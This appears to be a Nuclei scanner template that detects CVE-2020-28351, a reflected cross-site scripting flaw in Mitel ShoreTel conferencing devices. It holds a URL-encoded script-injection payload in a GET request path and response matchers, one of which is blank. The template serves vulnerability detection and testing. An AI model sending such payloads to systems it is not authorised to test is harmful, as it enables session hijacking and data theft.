id: CVE-2020-28351 info: name: Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting author: pikpikcu severity: medium description: Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability. reference: - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html - https://www.mitel.com/articles/what-happened-shoretel-products - https://nvd.nist.gov/vuln/detail/CVE-2020-28351 - http://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html - https://github.com/dievus/cve-2020-28351 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-28351 cwe-id: CWE-79 epss-score: 0.0036 epss-percentile: 0.69105 cpe: cpe:2.3:o:mitel:shoretel_firmware:19.46.1802.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: mitel product: shoretel_firmware tags: packetstorm,cve,cve2020,shoretel,xss,mitel http: - method: GET path: - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME" headers: Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: word part: body words: - '' - type: word part: header words: - 'Content-Type: text/html' - type: status status: - 200 # digest: 4a0a0047304502207a96a28317ecbc759d164b83dbf680481223c74266062f72ca9aaedcfa49bf950221008efd9a955d7fc6fe635c5587bf1f3f7dd972385bd95d850b55d9a48658f1f268:922c64590222798bb761d5b6d8e72950